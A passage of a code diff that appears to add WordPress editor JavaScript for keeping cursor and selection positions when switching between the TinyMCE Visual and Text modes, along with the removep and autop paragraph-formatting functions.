+		 * along with their character positions and boundaries.
+		 *
+		 * This is used to check if the selection cursor is inside the boundaries of a shortcode
+		 * and move it accordingly, to avoid breakage.
+		 *
+		 * @link adjustTextAreaSelectionCursors
+		 *
+		 * The information can also be used in other cases when we need to lookup shortcode data,
+		 * as it's already structured!
+		 *
+		 * @param {string} content The content we want to scan for shortcodes
+		 */
+		function getShortCodePositionsInText( content ) {
+			var allShortcodes = getShortcodesInText( content ), shortcodeInfo;
+
+			if ( allShortcodes.length === 0 ) {
+				return [];
+			}
+
+			var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ),
+				shortcodeMatch, // Define local scope for the variable to be used in the loop below.
+				shortcodesDetails = [];
+
+			while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) {
+				/**
+				 * Check if the shortcode should be shown as plain text.
+				 *
+				 * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode
+				 * and just shows it as text.
+				 */
+				var showAsPlainText = shortcodeMatch[1] === '[';
+
+				shortcodeInfo = {
+					shortcodeName: shortcodeMatch[2],
+					showAsPlainText: showAsPlainText,
+					startIndex: shortcodeMatch.index,
+					endIndex: shortcodeMatch.index + shortcodeMatch[0].length,
+					length: shortcodeMatch[0].length
+				};
+
+				shortcodesDetails.push( shortcodeInfo );
+			}
+
+			/**
+			 * Get all URL matches, and treat them as embeds.
+			 *
+			 * Since there isn't a good way to detect if a URL by itself on a line is a previewable
+			 * object, it's best to treat all of them as such.
+			 *
+			 * This means that the selection will capture the whole URL, in a similar way shrotcodes
+			 * are treated.
+			 */
+			var urlRegexp = new RegExp(
+				'(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi'
+			);
+
+			while ( shortcodeMatch = urlRegexp.exec( content ) ) {
+				shortcodeInfo = {
+					shortcodeName: 'url',
+					showAsPlainText: false,
+					startIndex: shortcodeMatch.index,
+					endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length,
+					length: shortcodeMatch[ 0 ].length,
+					urlAtStartOfContent: shortcodeMatch[ 1 ] === '',
+					urlAtEndOfContent: shortcodeMatch[ 3 ] === ''
+				};
+
+				shortcodesDetails.push( shortcodeInfo );
+			}
+
+			return shortcodesDetails;
+		}
+
+		/**
+		 * Generate a cursor marker element to be inserted in the content.
+		 *
+		 * `span` seems to be the least destructive element that can be used.
+		 *
+		 * Using DomQuery syntax to create it, since it's used as both text and as a DOM element.
+		 *
+		 * @param {Object} domLib DOM library instance.
+		 * @param {string} content The content to insert into the cusror marker element.
+		 */
+		function getCursorMarkerSpan( domLib, content ) {
+			return domLib( '<span>' ).css( {
+						display: 'inline-block',
+						width: 0,
+						overflow: 'hidden',
+						'line-height': 0
+					} )
+					.html( content ? content : '' );
+		}
+
+		/**
+		 * @summary Get adjusted selection cursor positions according to HTML tags/shortcodes
+		 *
+		 * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render
+		 * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible
+		 * to break the syntax and render the HTML tag or shortcode broken.
+		 *
+		 * @link getShortcodeWrapperInfo
+		 *
+		 * @param {string} content Textarea content that the cursors are in
+		 * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions
+		 *
+		 * @return {{cursorStart: number, cursorEnd: number}}
+		 */
+		function adjustTextAreaSelectionCursors( content, cursorPositions ) {
+			var voidElements = [
+				'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
+				'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr'
+			];
+
+			var cursorStart = cursorPositions.cursorStart,
+				cursorEnd = cursorPositions.cursorEnd,
+				// check if the cursor is in a tag and if so, adjust it
+				isCursorStartInTag = getContainingTagInfo( content, cursorStart );
+
+			if ( isCursorStartInTag ) {
+				/**
+				 * Only move to the start of the HTML tag (to select the whole element) if the tag
+				 * is part of the voidElements list above.
+				 *
+				 * This list includes tags that are self-contained and don't need a closing tag, according to the
+				 * HTML5 specification.
+				 *
+				 * This is done in order to make selection of text a bit more consistent when selecting text in
+				 * `<p>` tags or such.
+				 *
+				 * In cases where the tag is not a void element, the cursor is put to the end of the tag,
+				 * so it's either between the opening and closing tag elements or after the closing tag.
+				 */
+				if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) {
+					cursorStart = isCursorStartInTag.ltPos;
+				} else {
+					cursorStart = isCursorStartInTag.gtPos;
+				}
+			}
+
+			var isCursorEndInTag = getContainingTagInfo( content, cursorEnd );
+			if ( isCursorEndInTag ) {
+				cursorEnd = isCursorEndInTag.gtPos;
+			}
+
+			var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart );
+			if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) {
+				/**
+				 * If a URL is at the start or the end of the content,
+				 * the selection doesn't work, because it inserts a marker in the text,
+				 * which breaks the embedURL detection.
+				 *
+				 * The best way to avoid that and not modify the user content is to
+				 * adjust the cursor to either after or before URL.
+				 */
+				if ( isCursorStartInShortcode.urlAtStartOfContent ) {
+					cursorStart = isCursorStartInShortcode.endIndex;
+				} else {
+					cursorStart = isCursorStartInShortcode.startIndex;
+				}
+			}
+
+			var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd );
+			if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) {
+				if ( isCursorEndInShortcode.urlAtEndOfContent ) {
+					cursorEnd = isCursorEndInShortcode.startIndex;
+				} else {
+					cursorEnd = isCursorEndInShortcode.endIndex;
+				}
+			}
+
+			return {
+				cursorStart: cursorStart,
+				cursorEnd: cursorEnd
+			};
+		}
+
+		/**
+		 * @summary Adds text selection markers in the editor textarea.
+		 *
+		 * Adds selection markers in the content of the editor `textarea`.
+		 * The method directly manipulates the `textarea` content, to allow TinyMCE plugins
+		 * to run after the markers are added.
+		 *
+		 * @param {object} $textarea TinyMCE's textarea wrapped as a DomQuery object
+		 */
+		function addHTMLBookmarkInTextAreaContent( $textarea ) {
+			if ( ! $textarea || ! $textarea.length ) {
+				// If no valid $textarea object is provided, there's nothing we can do.
+				return;
+			}
+
+			var textArea = $textarea[0],
+				textAreaContent = textArea.value,
+
+				adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, {
+					cursorStart: textArea.selectionStart,
+					cursorEnd: textArea.selectionEnd
+				} ),
+
+				htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart,
+				htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd,
+
+				mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single',
+
+				selectedText = null,
+				cursorMarkerSkeleton = getCursorMarkerSpan( $$, '&#65279;' ).attr( 'data-mce-type','bookmark' );
+
+			if ( mode === 'range' ) {
+				var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ),
+					bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' );
+
+				selectedText = [
+					markedText,
+					bookMarkEnd[0].outerHTML
+				].join( '' );
+			}
+
+			textArea.value = [
+				textArea.value.slice( 0, htmlModeCursorStartPosition ), // text until the cursor/selection position
+				cursorMarkerSkeleton.clone()							// cursor/selection start marker
+					.addClass( 'mce_SELRES_start' )[0].outerHTML,
+				selectedText, 											// selected text with end cursor/position marker
+				textArea.value.slice( htmlModeCursorEndPosition )		// text from last cursor/selection position to end
+			].join( '' );
+		}
+
+		/**
+		 * @summary Focus the selection markers in Visual mode.
+		 *
+		 * The method checks for existing selection markers inside the editor DOM (Visual mode)
+		 * and create a selection between the two nodes using the DOM `createRange` selection API
+		 *
+		 * If there is only a single node, select only the single node through TinyMCE's selection API
+		 *
+		 * @param {Object} editor TinyMCE editor instance.
+		 */
+		function focusHTMLBookmarkInVisualEditor( editor ) {
+			var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ),
+				endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 );
+
+			if ( startNode.length ) {
+				editor.focus();
+
+				if ( ! endNode.length ) {
+					editor.selection.select( startNode[0] );
+				} else {
+					var selection = editor.getDoc().createRange();
+
+					selection.setStartAfter( startNode[0] );
+					selection.setEndBefore( endNode[0] );
+
+					editor.selection.setRng( selection );
+				}
+			}
+
+			if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
+				scrollVisualModeToStartElement( editor, startNode );
+			}
+
+			removeSelectionMarker( startNode );
+			removeSelectionMarker( endNode );
+
+			editor.save();
+		}
+
+		/**
+		 * @summary Remove selection marker and the parent node if it is an empty paragraph.
+		 *
+		 * By default TinyMCE wraps loose inline tags in a `<p>`.
+		 * When removing selection markers an empty `<p>` may be left behind, remove it.
+		 *
+		 * @param {object} $marker The marker to be removed from the editor DOM, wrapped in an instnce of `editor.$`
+		 */
+		function removeSelectionMarker( $marker ) {
+			var $markerParent = $marker.parent();
+
+			$marker.remove();
+
+			//Remove empty paragraph left over after removing the marker.
+			if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) {
+				$markerParent.remove();
+			}
+		}
+
+		/**
+		 * @summary Scrolls the content to place the selected element in the center of the screen.
+		 *
+		 * Takes an element, that is usually the selection start element, selected in
+		 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
+		 * in the middle of the screen.
+		 *
+		 * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted
+		 * from the window height, to get the proper viewport window, that the user sees.
+		 *
+		 * @param {Object} editor TinyMCE editor instance.
+		 * @param {Object} element HTMLElement that should be scrolled into view.
+		 */
+		function scrollVisualModeToStartElement( editor, element ) {
+			var elementTop = editor.$( element ).offset().top,
+				TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,
+
+				toolbarHeight = getToolbarHeight( editor ),
+
+				edTools = $( '#wp-content-editor-tools' ),
+				edToolsHeight = 0,
+				edToolsOffsetTop = 0,
+
+				$scrollArea;
+
+			if ( edTools.length ) {
+				edToolsHeight = edTools.height();
+				edToolsOffsetTop = edTools.offset().top;
+			}
+
+			var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,
+
+				selectionPosition = TinyMCEContentAreaTop + elementTop,
+				visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );
+
+			// There's no need to scroll if the selection is inside the visible area.
+			if ( selectionPosition < visibleAreaHeight ) {
+				return;
+			}
+
+			/**
+			 * The minimum scroll height should be to the top of the editor, to offer a consistent
+			 * experience.
+			 *
+			 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
+			 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
+			 * the top of the viewport (under the Master Bar)
+			 */
+			var adjustedScroll;
+			if ( editor.settings.wp_autoresize_on ) {
+				$scrollArea = $( 'html,body' );
+				adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
+			} else {
+				$scrollArea = $( editor.contentDocument ).find( 'html,body' );
+				adjustedScroll = elementTop;
+			}
+
+			$scrollArea.animate( {
+				scrollTop: parseInt( adjustedScroll, 10 )
+			}, 100 );
+		}
+
+		/**
+		 * This method was extracted from the `SaveContent` hook in
+		 * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`.
+		 *
+		 * It's needed here, since the method changes the content a bit, which confuses the cursor position.
+		 *
+		 * @param {Object} event TinyMCE event object.
+		 */
+		function fixTextAreaContent( event ) {
+			// Keep empty paragraphs :(
+			event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
+		}
+
+		/**
+		 * @summary Finds the current selection position in the Visual editor.
+		 *
+		 * Find the current selection in the Visual editor by inserting marker elements at the start
+		 * and end of the selection.
+		 *
+		 * Uses the standard DOM selection API to achieve that goal.
+		 *
+		 * Check the notes in the comments in the code below for more information on some gotchas
+		 * and why this solution was chosen.
+		 *
+		 * @param {Object} editor The editor where we must find the selection
+		 * @returns {(null|Object)} The selection range position in the editor
+		 */
+		function findBookmarkedPosition( editor ) {
+			// Get the TinyMCE `window` reference, since we need to access the raw selection.
+			var TinyMCEWindow = editor.getWin(),
+				selection = TinyMCEWindow.getSelection();
+
+			if ( ! selection || selection.rangeCount < 1 ) {
+				// no selection, no need to continue.
+				return;
+			}
+
+			/**
+			 * The ID is used to avoid replacing user generated content, that may coincide with the
+			 * format specified below.
+			 * @type {string}
+			 */
+			var selectionID = 'SELRES_' + Math.random();
+
+			/**
+			 * Create two marker elements that will be used to mark the start and the end of the range.
+			 *
+			 * The elements have hardcoded style that makes them invisible. This is done to avoid seeing
+			 * random content flickering in the editor when switching between modes.
+			 */
+			var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ),
+				startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ),
+				endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' );
+
+			/**
+			 * Inspired by:
+			 * @link https://stackoverflow.com/a/17497803/153310
+			 *
+			 * Why do it this way and not with TinyMCE's bookmarks?
+			 *
+			 * TinyMCE's bookmarks are very nice when working with selections and positions, BUT
+			 * there is no way to determine the precise position of the bookmark when switching modes, since
+			 * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify
+			 * HTML code and so on. In this process, the bookmark markup gets lost.
+			 *
+			 * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML
+			 * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will
+			 * throw off the positioning.
+			 *
+			 * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the
+			 * selection.
+			 *
+			 * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates
+			 * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to
+			 * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the
+			 * selection may start in the middle of one node and end in the middle of a completely different one. If we
+			 * wrap the selection in another node, this will create artifacts in the content.
+			 *
+			 * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection.
+			 * This helps us not break the content and also gives us the option to work with multi-node selections without
+			 * breaking the markup.
+			 */
+			var range = selection.getRangeAt( 0 ),
+				startNode = range.startContainer,
+				startOffset = range.startOffset,
+				boundaryRange = range.cloneRange();
+
+			/**
+			 * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup,
+			 * which we have to account for.
+			 */
+			if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) {
+				startNode = editor.$( '[data-mce-selected]' )[0];
+
+				/**
+				 * Marking the start and end element with `data-mce-object-selection` helps
+				 * discern when the selected object is a Live Preview selection.
+				 *
+				 * This way we can adjust the selection to properly select only the content, ignoring
+				 * whitespace inserted around the selected object by the Editor.
+				 */
+				startElement.attr( 'data-mce-object-selection', 'true' );
+				endElement.attr( 'data-mce-object-selection', 'true' );
+
+				editor.$( startNode ).before( startElement[0] );
+				editor.$( startNode ).after( endElement[0] );
+			} else {
+				boundaryRange.collapse( false );
+				boundaryRange.insertNode( endElement[0] );
+
+				boundaryRange.setStart( startNode, startOffset );
+				boundaryRange.collapse( true );
+				boundaryRange.insertNode( startElement[0] );
+
+				range.setStartAfter( startElement[0] );
+				range.setEndBefore( endElement[0] );
+				selection.removeAllRanges();
+				selection.addRange( range );
+			}
+
+			/**
+			 * Now the editor's content has the start/end nodes.
+			 *
+			 * Unfortunately the content goes through some more changes after this step, before it gets inserted
+			 * in the `textarea`. This means that we have to do some minor cleanup on our own here.
+			 */
+			editor.on( 'GetContent', fixTextAreaContent );
+
+			var content = removep( editor.getContent() );
+
+			editor.off( 'GetContent', fixTextAreaContent );
+
+			startElement.remove();
+			endElement.remove();
+
+			var startRegex = new RegExp(
+				'<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)'
+			);
+
+			var endRegex = new RegExp(
+				'(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>'
+			);
+
+			var startMatch = content.match( startRegex ),
+				endMatch = content.match( endRegex );
+
+			if ( ! startMatch ) {
+				return null;
+			}
+
+			var startIndex = startMatch.index,
+				startMatchLength = startMatch[0].length,
+				endIndex = null;
+
+			if (endMatch) {
+				/**
+				 * Adjust the selection index, if the selection contains a Live Preview object or not.
+				 *
+				 * Check where the `data-mce-object-selection` attribute is set above for more context.
+				 */
+				if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
+					startMatchLength -= startMatch[1].length;
+				}
+
+				var endMatchIndex = endMatch.index;
+
+				if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
+					endMatchIndex -= endMatch[1].length;
+				}
+
+				// We need to adjust the end position to discard the length of the range start marker
+				endIndex = endMatchIndex - startMatchLength;
+			}
+
+			return {
+				start: startIndex,
+				end: endIndex
+			};
+		}
+
+		/**
+		 * @summary Selects text in the TinyMCE `textarea`.
+		 *
+		 * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`.
+		 *
+		 * For `selection` parameter:
+		 * @link findBookmarkedPosition
+		 *
+		 * @param {Object} editor TinyMCE's editor instance.
+		 * @param {Object} selection Selection data.
+		 */
+		function selectTextInTextArea( editor, selection ) {
+			// only valid in the text area mode and if we have selection
+			if ( ! selection ) {
+				return;
+			}
+
+			var textArea = editor.getElement(),
+				start = selection.start,
+				end = selection.end || selection.start;
+
+			if ( textArea.focus ) {
+				// Wait for the Visual editor to be hidden, then focus and scroll to the position
+				setTimeout( function() {
+					textArea.setSelectionRange( start, end );
+					if ( textArea.blur ) {
+						// defocus before focusing
+						textArea.blur();
+					}
+					textArea.focus();
+				}, 100 );
+			}
+		}
+
+		// Restore the selection when the editor is initialized. Needed when the Text editor is the default.
+		$( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) {
+			if ( editor.$( '.mce_SELRES_start' ).length ) {
+				focusHTMLBookmarkInVisualEditor( editor );
+			}
+		} );
+
+		/**
+		 * @summary Replaces <p> tags with two line breaks. "Opposite" of wpautop().
+		 *
+		 * Replaces <p> tags with two line breaks except where the <p> has attributes.
+		 * Unifies whitespace.
+		 * Indents <li>, <dt> and <dd> for better readability.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @memberof switchEditors
+		 *
+		 * @param {string} html The content from the editor.
+		 * @return {string} The content with stripped paragraph tags.
+		 */
+		function removep( html ) {
+			var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure',
+				blocklist1 = blocklist + '|div|p',
+				blocklist2 = blocklist + '|pre',
+				preserve_linebreaks = false,
+				preserve_br = false,
+				preserve = [];
+
+			if ( ! html ) {
+				return '';
+			}
+
+			// Protect script and style tags.
+			if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) {
+				html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) {
+					preserve.push( match );
+					return '<wp-preserve>';
+				} );
+			}
+
+			// Protect pre tags.
+			if ( html.indexOf( '<pre' ) !== -1 ) {
+				preserve_linebreaks = true;
+				html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) {
+					a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
+					a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
+					return a.replace( /\r?\n/g, '<wp-line-break>' );
+				});
+			}
+
+			// Remove line breaks but keep <br> tags inside image captions.
+			if ( html.indexOf( '[caption' ) !== -1 ) {
+				preserve_br = true;
+				html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
+					return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
+				});
+			}
+
+			// Normalize white space characters before and after block tags.
+			html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
+			html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );
+
+			// Mark </p> if it has any attributes.
+			html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );
+
+			// Preserve the first <p> inside a <div>.
+			html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );
+
+			// Remove paragraph tags.
+			html = html.replace( /\s*<p>/gi, '' );
+			html = html.replace( /\s*<\/p>\s*/gi, '\n\n' );
+
+			// Normalize white space chars and remove multiple line breaks.
+			html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' );
+
+			// Replace <br> tags with line breaks.
+			html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) {
+				if ( space && space.indexOf( '\n' ) !== -1 ) {
+					return '\n\n';
+				}
+
+				return '\n';
+			});
+
+			// Fix line breaks around <div>.
+			html = html.replace( /\s*<div/g, '\n<div' );
+			html = html.replace( /<\/div>\s*/g, '</div>\n' );
+
+			// Fix line breaks around caption shortcodes.
+			html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
+			html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );
+
+			// Pad block elements tags with a line break.
+			html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
+			html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );
+
+			// Indent <li>, <dt> and <dd> tags.
+			html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' );
+
+			// Fix line breaks around <select> and <option>.
+			if ( html.indexOf( '<option' ) !== -1 ) {
+				html = html.replace( /\s*<option/g, '\n<option' );
+				html = html.replace( /\s*<\/select>/g, '\n</select>' );
+			}
+
+			// Pad <hr> with two line breaks.
+			if ( html.indexOf( '<hr' ) !== -1 ) {
+				html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
+			}
+
+			// Remove line breaks in <object> tags.
+			if ( html.indexOf( '<object' ) !== -1 ) {
+				html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
+					return a.replace( /[\r\n]+/g, '' );
+				});
+			}
+
+			// Unmark special paragraph closing tags.
+			html = html.replace( /<\/p#>/g, '</p>\n' );
+
+			// Pad remaining <p> tags whit a line break.
+			html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );
+
+			// Trim.
+			html = html.replace( /^\s+/, '' );
+			html = html.replace( /[\s\u00a0]+$/, '' );
+
+			if ( preserve_linebreaks ) {
+				html = html.replace( /<wp-line-break>/g, '\n' );
+			}
+
+			if ( preserve_br ) {
+				html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
+			}
+
+			// Restore preserved tags.
+			if ( preserve.length ) {
+				html = html.replace( /<wp-preserve>/g, function() {
+					return preserve.shift();
+				} );
+			}
+
+			return html;
+		}
+
+		/**
+		 * @summary Replaces two line breaks with a paragraph tag and one line break with a <br>.
+		 *
+		 * Similar to `wpautop()` in formatting.php.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @memberof switchEditors
+		 *
+		 * @param {string} text The text input.
+		 * @returns {string} The formatted text.
+		 */
+		function autop( text ) {
+			var preserve_linebreaks = false,
+				preserve_br = false,
+				blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
+					'|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
+					'|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';
+
+			// Normalize line breaks.
+			text = text.replace( /\r\n|\r/g, '\n' );
+
+			// Remove line breaks from <object>.
+			if ( text.indexOf( '<object' ) !== -1 ) {
+				text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
+					return a.replace( /\n+/g, '' );
+				});
+			}
+
+			// Remove line breaks from tags.
+			text = text.replace( /<[^<>]+>/g, function( a ) {
+				return a.replace( /[\n\t ]+/g, ' ' );
+			});
+
+			// Preserve line breaks in <pre> and <script> tags.
+			if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) {
+				preserve_linebreaks = true;
+				text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) {
+					return a.replace( /\n/g, '<wp-line-break>' );
+				});
+			}
+
+			if ( text.indexOf( '<figcaption' ) !== -1 ) {
+				text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' );
+				text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' );
+			}
+
+			// Keep <br> tags inside captions.
+			if ( text.indexOf( '[caption' ) !== -1 ) {
+				preserve_br = true;
+
+				text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
+					a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );
+
+					a = a.replace( /<[^<>]+>/g, function( b ) {
+						return b.replace( /[\n\t ]+/, ' ' );
+					});
+
+					return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
+				});
+			}
+
+			text = text + '\n\n';
+			text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' );
+
+			// Pad block tags with two line breaks.
+			text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' );
+			text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
+			text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' );
+
+			// Remove white space chars around <option>.
+			text = text.replace( /\s*<option/gi, '<option' );
+			text = text.replace( /<\/option>\s*/gi, '</option>' );
+
+			// Normalize multiple line breaks and white space chars.
+			text = text.replace( /\n\s*\n+/g, '\n\n' );
+
+			// Convert two line breaks to a paragraph.
+			text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );
+
+			// Remove empty paragraphs.
+			text = text.replace( /<p>\s*?<\/p>/gi, '');
+
+			// Remove <p> tags that are around block tags.
+			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
+			text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1');
+
+			// Fix <p> in blockquotes.
+			text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
+			text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');
+
+			// Remove <p> tags that are wrapped around block tags.
+			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
+			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
+
+			text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' );
+
+			// Add <br> tags.
+			text = text.replace( /\s*\n/g, '<br />\n');
+
+			// Remove <br> tags that are around block tags.
+			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
+			text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );
+
+			// Remove <p> and <br> around captions.
+			text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );
+
+			// Make sure there is <p> when there is </p> inside block tags that can contain other blocks.
+			text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
+				if ( c.match( /<p( [^>]*)?>/ ) ) {
+					return a;
+				}
+
+				return b + '<p>' + c + '</p>';
+			});
+
+			// Restore the line breaks in <pre> and <script> tags.
+			if ( preserve_linebreaks ) {
+				text = text.replace( /<wp-line-break>/g, '\n' );
+			}
+
+			// Restore the <br> tags in captions.
+			if ( preserve_br ) {
+				text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
+			}
+
+			return text;
+		}
+
+		/**
+		 * @summary Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @memberof switchEditors
+		 *
+		 * @param {String} html The content from the visual editor.
+		 * @returns {String} the filtered content.
+		 */
+		function pre_wpautop( html ) {
+			var obj = { o: exports, data: html, unfiltered: html };
+
+			if ( $ ) {
+				$( 'body' ).trigger( 'beforePreWpautop', [ obj ] );
+			}
+
+			obj.data = removep( obj.data );
+
+			if ( $ ) {
+				$( 'body' ).trigger( 'afterPreWpautop', [ obj ] );
+			}
+
+			return obj.data;
+		}
+
+		/**
+		 * @summary Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @memberof switchEditors
+		 *
+		 * @param {String} text The content from the text editor.
+		 * @returns {String} filtered content.
+		 */
+		function wpautop( text ) {
+			var obj = { o: exports, data: text, unfiltered: text };
+
+			if ( $ ) {
+				$( 'body' ).trigger( 'beforeWpautop', [ obj ] );
+			}
+
+			obj.data = autop( obj.data );
+
+			if ( $ ) {
+				$( 'body' ).trigger( 'afterWpautop', [ obj ] );
+			}
+
+			return obj.data;
+		}
+
+		if ( $ ) {
+			$( document ).ready( init );
+		} else if ( document.addEventListener ) {
+			document.addEventListener( 'DOMContentLoaded', init, false );
+			window.addEventListener( 'load', init, false );
+		} else if ( window.attachEvent ) {
+			window.attachEvent( 'onload', init );
+			document.attachEvent( 'onreadystatechange', function() {
+				if ( 'complete' === document.readyState ) {
+					init();
+				}
+			} );
+		}
+
